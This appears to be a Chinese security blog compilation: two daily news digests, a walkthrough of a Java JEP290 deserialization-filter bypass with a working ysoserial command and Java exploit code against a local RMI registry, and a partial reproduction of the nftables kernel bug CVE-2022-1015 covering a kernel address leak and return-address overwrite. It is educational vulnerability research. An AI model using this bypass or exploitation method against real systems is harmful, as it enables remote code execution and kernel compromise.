网络安全日报 2023年07月06日
1、Ghostscript中的漏洞可能允许恶意文档执行系统命令
https://nakedsecurity.sophos.com/2023/07/04/ghostscript-bug-could-allow-rogue-documents-to-run-system-commands/ Ghostscript是Adobe公司PostScript文档组合系统及PDF文件格式的免费开源实现,它读取PostScript程序代码,该代码描述了如何在文档中构建页面,并将其转换为更适合显示或打印的格式。目前Ghostscript的最新版本为10.01.2,在此版本之前的产品中存在一个安全漏洞,被标记为CVE-2023-36664。经过构造的恶意文档不仅能够利用该漏洞
2、ARx Patient Solutions证实其数据泄露
https://cybernews.com/privacy/us-healthcare-breach-child-patient-data/ ARx Patient Solutions是一家总部位于堪萨斯州的医疗保健提供商,该公司表示在2022年遭受了一次网络攻击,并可能导致4万多人的个人信息泄露,其中包括儿童患者的姓名、处方信息、保险账号、医生姓名等细节,并可能暴露了社会保障号码。该公司于7月日将调查结果通知了缅因州总检察长办公室,据司法部长称,目前确认有526名缅因州居民受到此次事件的影响,但潜在的受害者总数达到41166人。目前还没有证据表明这些数据遭到滥用。
3、Firefox 115 修复高危UAF漏洞
https://www.securityweek.com/firefox-115-patches-high-severity-use-after-free-vulnerabilities/ Mozilla 已向稳定频道发布了 Firefox 115,其中包含两个高严重性UAF漏洞的补丁。
4、RedEnergy Stealer 勒索软件针对能源和电信行业
https://thehackernews.com/2023/07/redenergy-stealer-as-ransomware-threat.html 人们通过 LinkedIn 页面发现了一种名为RedEnergy的复杂窃取勒索软件威胁,其目标是巴西和菲律宾的能源公用事业、石油、天然气、电信和机械行业。
5、瑞典数据保护局警告公司不要使用 Google Analytics
https://thehackernews.com/2023/07/swedish-data-protection-authority-warns.html 继去年奥地利、法国和意大利采取类似行动后,瑞典数据保护监管机构警告企业不要使用谷歌分析,因为美国政府的监控带来风险。
6、日本最大港口名古屋港遭遇勒索软件攻击
https://securityaffairs.com/148184/cyber-crime/port-of-nagoya-ransomware-attack.html 日本最大的港口名古屋港遭受勒索软件攻击,其运营受到严重影响。
7、研究报告显示无文件或基于内存的攻击增加了 1400%
https://www.ithome.com/0/703/564.htm Nautilus 研究发现,与 2022 年报告相比,无文件(fileless)或基于内存的攻击增加了 1400%,主要利用现有软件、应用或者协议中的漏洞,在云端系统中执行恶意活动,超过 50% 的攻击集中在绕过防御机制上。
8、 俄罗斯卫星电信证实遭到黑客攻击
https://cybernews.com/cyber-war/russian-satellite-telecom-confirms-hacker-attack/ 俄罗斯国防部和安全部门使用的俄罗斯卫星通信提供商 Dozor-Teleport 证实,黑客入侵了其系统。
9、美国海军首设网络战兵种,推动网络作战能力专精化
https://www.secrss.com/articles/56282 美国海军为水兵们制定了全新的网络战兵种,希望藉此加强培训,打造一支专业的网络作战力量。
10、今年 33 家美国医院遭受勒索软件攻击
https://www.infosecurity-magazine.com/news/thirtythree-us-hospitals/ 根据 Emsisoft 的数据,至少 19 家遭受勒索软件攻击的医疗保健提供商经营着 33 家医院,而这 19 家医院中至少有 16 家的数据被泄露。去年,68% 的案例发生了数据泄露。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
浅谈 JEP290
0x01 前言
属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。
一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI
8u121 ~ 8u230 打不了 RMI
0x02 关于 JEP290
JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事
1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。
官方从 8u121,7u13,6u141 分别支持了这个 JEP
0x03 JEP290 防御手段分析
先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI
尝试去攻击,这里会报错,报错部分信息为
java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler
可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290
我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类
我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。
跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进
先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进
跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。
在 readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法
readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进
而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。
这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法
对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个:
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var
而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤
0x04 JEP290 绕过
这里我们可以先看一下白名单里面都能过什么,白名单如下
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass
绕过利用
思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样
先用 ysoserial 开启 JRMP 3333 端口的监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"
然后编写 RMI 的 EXP
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class BypassJEP290 {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}
这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。
绕过分析
我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象
当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信
这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化
接着来看看 yso 中的 JRMPClient 是做了什么操作
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:
这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io) // 从此处开始,会遇到很多字节码不匹配的问题
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
一路跟进到 sun.rmi.transport.LiveRef#read
可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。
跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。
到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进
releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法
var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息
接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下
里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。
在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。
invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP
至此绕过分析结束
0x05 小结
本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。
网络安全日报 2023年07月05日
1、攻击者利用GuLoader传播Remcos远控木马
https://blog.morphisec.com/guloader-campaign-targets-law-firms-in-the-us 研究人员发现一起利用GuLoader传播Remcos远控木马的网络钓鱼攻击活动。攻击者向目标发送钓鱼邮件,在附件中给出一个看似加密的PDF文件,并在邮件正文中提供PIN码。PDF文件显示该文件需要解密后才能够进行查看,攻击者以此引诱目标用户点击该PDF中的图标,从而跳转至图标中包含的链接。该链接指向的网站要求用户输入PIN码,并提供下一阶段的VBS脚本。该脚本经过混淆处理,执行后从github.io域中获取GuLoader,并最终执行Remcos远
2、仍有超过30万台FortiGate防火墙受到FortiOS漏洞的影响
https://bishopfox.com/blog/cve-2023-27997-exploitable-and-fortigate-firewalls-vulnerable FortiGate防火墙受到CVE-2023-27997安全漏洞的影响,该漏洞将会导致远程代码执行,评分为9.8。FortiOS是将所有Fortinet网络组件连接起来以进行集成的操作系统,该漏洞是由FortiOS中基于堆的缓冲区溢出问题造成的。Fortinet于6月11日解决了该漏洞问题,但研究人员经过调查后发现,目前仍有超过30万台FortiGate防火墙设备没有进行安全更新,面临安全风险。
3、研究人员捕获大量二维码网络钓鱼邮件
https://www.inky.com/en/blog/fresh-phish-malicious-qr-codes-are-quickly-retrieving-employee-credentials 近期,研究人员捕获到数百封二维码网络钓鱼邮件,目标受害者主要在美国和澳大利亚,涉及非盈利组织、财富管理公司、管理顾问、土地测量师、地板公司等。这些钓鱼邮件通常会仿冒成一些知名的公司,在邮件中嵌入二维码图片,并通过二维码将用户引导至一个经过伪造的网页中,以此诱使用户输入凭证。
4、墨西哥黑客利用 Android 恶意软件攻击全球银行
https://thehackernews.com/2023/07/mexico-based-hacker-targets-global.html 一名来自墨西哥的电子犯罪分子与 2021 年 6 月至 2023 年 4 月期间针对全球金融机构的 Android 移动恶意软件活动有关,但特别关注西班牙和智利的银行。
5、Evasive Meduza Stealer 针对 19 个密码管理器和 76 个加密钱包
https://thehackernews.com/2023/07/evasive-meduza-stealer-targets-19.html 犯罪软件即服务 ( https://thehackernews.com/2023/06/new-mystic-stealer-malware-targets-40.html ) 生态系统利润丰厚的另一个迹象是,网络安全研究人员发现了一种名为Meduza Stealer的新型基于 Windows 的信息窃取程序,其作者正在积极开发该程序,以逃避软件解决方案的检测。
6、黑客从 Poly Network 平台窃取了价值数百万美元的加密资产
https://securityaffairs.com/148129/cyber-crime/poly-network-platform-hacked.html 由于网络攻击导致数百万美元的加密资产被盗,Poly Network 平台在周末暂停了服务。威胁行为者从 Poly Network 平台窃取了价值数百万美元的加密资产。
7、警惕!“AI换脸”诈骗出现涉政苗头
https://www.secrss.com/articles/56227 近期,各地曝出多起人工智能“辅助”诈骗案件。一些不法分子利用人工智能“深度伪造”冒充领导干部行骗,值得引起高度警惕。
8、BlackCat勒索团伙通过恶意广告分发伪装成 WinSCP 的勒索软件
https://thehackernews.com/2023/07/blackcat-operators-distributing.html 恶意广告是指利用SEO中毒技术通过在线广告传播恶意软件。它通常包括劫持一组选定的关键字,在Bing和Google的搜索结果页面上显示虚假广告,以将用户引到一些恶意网站。
9、微软否认重大 3000 万客户数据泄露事件
https://www.infosecurity-magazine.com/news/microsoft-denies-major-30-million/ “目前,我们对数据的分析表明,这不是合法的主张和数据汇总。我们没有看到任何证据表明我们的客户数据已被访问或泄露。”微软指出。
10、安全人员发现大量TikTok、Instagram 和雅虎的数据泄露
https://socradar.io/major-data-leaks-on-tiktok-instagram-and-yahoo/ 一位 SORadar 暗网分析师最近发现了 Instagram 涉嫌数据库泄露的情况。据报道,泄露的数据包含超过 1700 万条 JSON 格式的记录。数据的性质表明它可能是从开源收集的。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Nftables栈溢出漏洞(CVE-2022-1015)复现
背景介绍
Nftables
Nftables 是一个基于内核的包过滤框架,用于 Linux操作系统中的网络安全和防火墙功能。nftables的设计目标是提供一种更简单、更灵活和更高效的方式来管理网络数据包的流量。
钩子点(Hook Point)
钩子点的作用是拦截数据包,然后对数据包进行修改,比较,丢弃和放行等操作。
// include/uapi/linux/netfilter_ipv4.h
#define NF_IP_PRE_ROUTING 0 /* After promisc drops, checksum checks. */
#define NF_IP_LOCAL_IN 1 /* If the packet is destined for this box. */
#define NF_IP_FORWARD 2 /* If the packet is destined for another interface. */
#define NF_IP_LOCAL_OUT 3 /* Packets coming from a local process. */
#define NF_IP_POST_ROUTING 4 /* Packets about to hit the wire. */
#define NF_IP_NUMHOOKS 5
Nftables的架构
Nftables由四部分组成
table(表):用于指定网络协议的类型,如ip,ip6,arp等
chains(链):用于指定流量的类型,如流入的流量或者是流出的流量并可以指定网络接口,如本地回环接口或者以太网接口等。
rules(规则):规则是用于过滤数据包所依据的规则,例如检查协议、来源、目的地、端口等规则。
express(表达式):表达式则是具体的操作。
使用非常形象的图描述,如下
表达式(express)
表达式是对一个数据包具体的操作,这里大致介绍后续需要用到的表达式。
nft_payload
nft_payload用于将数据包的值拷贝到寄存器中
struct nft_payload {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
u8 dreg;
};
base:数据包类型
offset:数据包起始位置的偏移
len:拷贝的长度
dreg:目的寄存器
其中base的类型由enum nft_payload_bases指定
/* include/uapi/linux/netfilter/nf_tables.h */
/**
* enum nft_payload_bases - nf_tables payload expression offset bases
*
* @NFT_PAYLOAD_LL_HEADER: link layer header
* @NFT_PAYLOAD_NETWORK_HEADER: network header
* @NFT_PAYLOAD_TRANSPORT_HEADER: transport header
* @NFT_PAYLOAD_INNER_HEADER: inner header / payload
*/
enum nft_payload_bases {
NFT_PAYLOAD_LL_HEADER, //链路层
NFT_PAYLOAD_NETWORK_HEADER, //网络层
NFT_PAYLOAD_TRANSPORT_HEADER, //传输层
NFT_PAYLOAD_INNER_HEADER, //数据包内部
};
下面这个例子则是将传输层的包偏移16个字节的位置,取出两个字节的内容存放到目的寄存器中,该寄存器的编号为2
base = NFT_PAYLOAD_TRANSPORT_HEADER
offset = 16 -> the checksum is 16 bytes away from the start of the TCP header
len = 2 -> the checksum is 2 bytes
dreg = NFT_REG32_02 (the small registers start frrom NFT_REG32_00)
nft_payload_set
nft_payload_set则是与nft_payload相反,该表达式是将指定寄存器的值存放到数据包里面
/* include/net/netfilter/nf_tables_core.h */
struct nft_payload_set {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
u8 sreg;
u8 csum_type;
u8 csum_offset;
u8 csum_flags;
};
与nft_payload不同的是多了校验和的可选选项
nft_cmp_expr
nft_cmp_expr表达式则是用于比较,通常用于判断数据包的端口号是否是需要符合要求。
struct nft_cmp_expr {
struct nft_data data;
u8 sreg;
u8 len;
enum nft_cmp_ops op:8;
};
data:用于设置比较的常量值
sreg:源寄存器,可以认为是数据包取出的内容
len:比较的长度
op:比较的操作,具体操作类型如下所示
<!-- -->/**
* enum nft_cmp_ops - nf_tables relational operator
*
* @NFT_CMP_EQ: equal
* @NFT_CMP_NEQ: not equal
* @NFT_CMP_LT: less than
* @NFT_CMP_LTE: less than or equal to
* @NFT_CMP_GT: greater than
* @NFT_CMP_GTE: greater than or equal to
*/
enum nft_cmp_ops {
NFT_CMP_EQ,
NFT_CMP_NEQ,
NFT_CMP_LT,
NFT_CMP_LTE,
NFT_CMP_GT,
NFT_CMP_GTE,
};
nft_bitwise
nft_bitwise用于对数据包进行比特级别的操作。例如移位,掩码设置等。
struct nft_bitwise {
u8 sreg;
u8 dreg;
enum nft_bitwise_ops op:8;
u8 len;
struct nft_data mask;
struct nft_data xor;
struct nft_data data;
};
sreg:源寄存器
dreg:目的寄存器,用于存放最后的结果
op:指定具体的比特操作,具体操作如下
<!-- -->/**
* enum nft_bitwise_ops - nf_tables bitwise operations
*
* @NFT_BITWISE_BOOL: mask-and-xor operation used to implement NOT, AND, OR and
* XOR boolean operations
* @NFT_BITWISE_LSHIFT: left-shift operation
* @NFT_BITWISE_RSHIFT: right-shift operation
*/
enum nft_bitwise_ops {
NFT_BITWISE_BOOL,
NFT_BITWISE_LSHIFT,
NFT_BITWISE_RSHIFT,
};
mask:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与mask中指定的值进行掩码设置操作。并将结果存放到dreg中
xor:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与xor中指定的值进行掩码设置操作。并将结果存放到dreg中
data:当op被指定为NFT_BITWISE_LSHIFT或NFT_BITWISE_RSHIFT时,data需要被指定移位的数值。
寄存器(register)
在Nftables中是以寄存器作为存储区,用于存放一段连续的内存,现在Nftables版本每个寄存器的值存放4字节数据,而旧版的Nftables的每个寄存器是存放16个字节的数据,为了保持兼容性,4字节的寄存与16字节的寄存器都被保留。寄存器的枚举值如下所示
enum nft_registers {
NFT_REG_VERDICT, //判定寄存器
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,
NFT_REG32_00 = 8,
NFT_REG32_01,
NFT_REG32_02,
...
NFT_REG32_13,
NFT_REG32_14,
NFT_REG32_15,
};
其中NFT_REG_VERDICT被称之为判断寄存器,这个寄存器比较特殊,是用于判定每个数据包需要怎么处理。判定的类型如下
NFT_CONTINUE:允许数据包通过防火墙
NFT_BREAK:跳过剩余的规则表达式
NF_DROP:直接丢弃数据包
NF_ACCEPT:接收数据包
NFT_GOTO:跳转到其他链执行
NFT_JUMP:跳转到其他链执行,若其他链将该数据包判定为NFT_CONTINUE则返回当前链
libmnl与libnftnl
由于Nftables处于内核,需要从用户层向内核发送消息去设置需要拦截数据包的属性,人工构造成本较大,因此使用现成的库libmnl与libnftnl
环境搭建
环境版本
ubuntu 20.04
qemu-system-x86_64 4.2.1
Linux-5.17源码
设置编译选项
cd /home/pwn/CVE/CVE-2022-1015/CVE-2022-1015/linux-5.17
sudo gedit .config
#将下列选项设置为y
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_USER_NS=y
CONFIG_E1000=y
CONFIG_E1000E=y
make -j32 bzImage #编译
#安装依赖库
sudo apt-get install libmnl-dev
sudo apt-get install libnftnl-dev
漏洞验证
若运行exp显示超过边界则代表没有漏洞
若exp正常运行则代表漏洞
漏洞分析
源码分析
nft_parse_register_load
nft_cmp_expr:op=NFT_CMP_EQ sreg=8data=IPPROTO_TCP。该表达式是一个比较的表达式,用于比较下标为8的寄存器中的数据是否为TCP的协议。那么如何将下表为8的寄存器转化为内核中寄存器的内存位置,则需要以来下面列举的函数。
nft_parse_register_load函数就是将用户设定的寄存器的下标转化为内核寄存器的下标,然后存储在源寄存器中。
File: net\netfilter\nf_tables_api.c
9325: int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
9326: {
9327: u32 reg;
9328: int err;
9329:
9330: reg = nft_parse_register(attr); //用于提取数据包中的寄存器的下标,并转化为Nftables中寄存器的下标
9331: err = nft_validate_register_load(reg, len); //用于检验寄存器下表的合法性,漏洞点
9332: if (err < 0)
9333: return err;
9334:
9335: *sreg = reg; //然后将寄存器的下标值存储在源寄存器中
9336: return 0;
9337: }
nft_parse_register
nft_parse_register函数用于将用户设置的寄存器下标转化为内核中寄存器的下标。
File: net\netfilter\nf_tables_api.c
9278: static unsigned int nft_parse_register(const struct nlattr *attr)
9279: {
9280: unsigned int reg;
9281:
9282: reg = ntohl(nla_get_be32(attr)); //提取数据包的寄存器下标,比如上述例子为8
9283: switch (reg) {
//0 - 4是16字节寄存器
9284: case NFT_REG_VERDICT...NFT_REG_4:
9285: return reg * NFT_REG_SIZE / NFT_REG32_SIZE; //reg * 4
9286: default:
//由于4字节寄存器起始下标为8,因此要减去起始下标
9287: return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // reg - 4
9288: }
9289: }
nft_validate_register_load
nft_validate_register_load函数则是用于校验下标是否有问题,但是这个检验存在整型溢出的问题。reg是枚举值,而枚举通常会被编译为int类型。len代表数据包的长度。
正常情况下:reg = 100,那么套入校验则为100 * 4 + 0x10 = 0x1a0 >0x50,那么会检验出寄存器下标存在问题
漏洞情况:reg =0xffffffff(int情况下的最大值),那么逃入检验则为0xffffffff * 4 +0x10 =0x40000000c,由于int最大值为0xffffffff,那么最高4个比特会被舍弃,那么最后得到的值为0x0000000c,此时0xc< 0x50,就可以绕过检验。那么绕过检验后就会执行* sreg =reg,此时reg = 0xffffffff,就会导致*sreg = 0xff
<!-- -->File: net\netfilter\nf_tables_api.c
9313: static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
9314: {
9315: if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) // reg < 4则报错
9316: return -EINVAL;
9317: if (len == 0) //长度为0则报错
9318: return -EINVAL;
9319: if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) //reg * 4 + len > 0x50则报错,存在整型溢出漏洞
9320: return -ERANGE;
9321:
9322: return 0;
9323: }
nft_do_chain
每一个被拦截的数据包都需要经过链上的表达式进行处理,而链处理的函数则为nft_do_chains,这个函数会提取出相应的表达式,最后调用expr_call_ops_eval函数进行处理。
File: net\netfilter\nf_tables_core.c
197: unsigned int
198: nft_do_chain(struct nft_pktinfo *pkt, void *priv)
199: {
...
224: for (; rule < last_rule; rule = nft_rule_next(rule)) {
225: nft_rule_dp_for_each_expr(expr, last, rule) {
226: if (expr->ops == &nft_cmp_fast_ops)
227: nft_cmp_fast_eval(expr, ®s);
228: else if (expr->ops == &nft_bitwise_fast_ops)
229: nft_bitwise_fast_eval(expr, ®s);
230: else if (expr->ops != &nft_payload_fast_ops ||
231: !nft_payload_fast_eval(expr, ®s, pkt))
232: expr_call_ops_eval(expr, ®s, pkt);
233:
234: if (regs.verdict.code != NFT_CONTINUE)
235: break;
236: }
...
expr_call_ops_eval
expr_call_ops_eval函数则是根据不同的表达式选择不同的处理函数,例如若该数据包需要经过nft_payload的表达式处理,则会调用nft_payload_eval。
File: net\netfilter\nf_tables_core.c
161: static void expr_call_ops_eval(const struct nft_expr *expr,
162: struct nft_regs *regs,
163: struct nft_pktinfo *pkt)
164: {
165: #ifdef CONFIG_RETPOLINE
166: unsigned long e = (unsigned long)expr->ops->eval;
167: #define X(e, fun) \
168: do { if ((e) == (unsigned long)(fun)) \
169: return fun(expr, regs, pkt); } while (0)
170:
171: X(e, nft_payload_eval);
172: X(e, nft_cmp_eval);
173: X(e, nft_counter_eval);
174: X(e, nft_meta_get_eval);
175: X(e, nft_lookup_eval);
176: X(e, nft_range_eval);
177: X(e, nft_immediate_eval);
178: X(e, nft_byteorder_eval);
179: X(e, nft_dynset_eval);
180: X(e, nft_rt_get_eval);
181: X(e, nft_bitwise_eval);
182: #undef X
183: #endif /* CONFIG_RETPOLINE */
184: expr->ops->eval(expr, regs, pkt);
185: }
nft_payload_eval
这里可以看到regs存放在栈上面,dest这个变量值是通过®s->data[priv->dreg]取出来的,而priv->dreg则是通过上述的nft_parse_register_load函数进行提取的,那么这里就存在一个非常明显的数组越界的漏洞。
File: net\netfilter\nft_payload.c
121: void nft_payload_eval(const struct nft_expr *expr,
122: struct nft_regs *regs,
123: const struct nft_pktinfo *pkt)
124: {
125: const struct nft_payload *priv = nft_expr_priv(expr);
126: const struct sk_buff *skb = pkt->skb;
127: u32 *dest = ®s->data[priv->dreg];
...
165: if (skb_copy_bits(skb, offset, dest, priv->len) < 0) //拷贝数据
166: goto err;
167: return;
168: err:
169: regs->verdict.code = NFT_BREAK;
170: }
因此整型溢出结合越界就能够使我们访问到内核栈上的其他数据,如下图所示。
漏洞利用
漏洞利用分析
现在我们拥有了访问内核栈上其它地址的能力了,想要做到任意代码执行则需要考虑下列几种情况
由于返回地址存在在栈上,需要判断数组越界是否能够到达返回地址的位置
如何通过数组越界改写返回地址
由于需要进行任意代码执行,那么需要用到内核函数,则需要得到内核的程序基地址才能够根据函数偏移地址计算出函数的实际地址
由于表达式都会对寄存器空间进行操作,因此可以使用表达式对内存空间进行读写操作。
nft_bitwise表达式可以控制源寄存器和目的寄存器,那么采用nft_bitwise可以将源寄存器的内容放置到目的寄存器中,因此可以利用nft_bitwise进行越界读,此时需要分析该数组越界读的边界的大小是多少。这里需要注意的是由于len是sreg与dreg共同拥有的,为了dreg不越界,这里的长度最大值只能为0x40而不能为0xff,因为拥有16个寄存器,每个寄存器的值为4个字节,因此16* 4 = 64 = 0x40
上界:(0xffffffff * 4) + 0x40 = 0x40000003c = 0x3c < 0x50 , 0xff* 4 = 0x3fc;由于可以拷贝0x40个字节的长度,因此0x3fc + 0x40 =0x43c。
下界:(0xfffffff0 * 4 ) + 0x40 = 0x400000000 = 0x0 < 0x50, 0xf0 *4 = 0x3c0
内核地址泄露
接着查看regs偏移0x3c0处的地址信息,结果发现在该片区域存在一个明显的内核地址,因此若能将这个地址进行泄露,我们就能获取内核的基地址。
返回地址覆盖
由于需要构建的payload比较长,而我们如果利用nft_wise最多只能写入0x43c -0x3c0 =0x7c的长度,是远远不够的,因此对返回地址进行覆盖时不能使用nft_bitwise,而得改用nft_payload。nft_payload需要dreg的下标以及修改的长度len,由于我们只需要考虑一个寄存器的值,因此该寄存器的长度最大可以达到0xff。因此我们可以在地址更低的位置去搜索有无可以覆盖的返回地址。
可以发现在0x360的地址处也有一个内核的代码段地址
并且可以发现该函数主要是处理udp包的发送
为了检验该地址是否能够修改程序的执行流程,可以使用一个方法,将该地址的值修改为非法值并观察内核是否会崩溃,这里将地址的内容修改为0x1122334455667788,接着运行程序。
可以看到内核报错的信息显示RIP的地址为刚刚我们修改的地址,因此该地址可以作为被劫持程序执行流程的地址。
exp分析
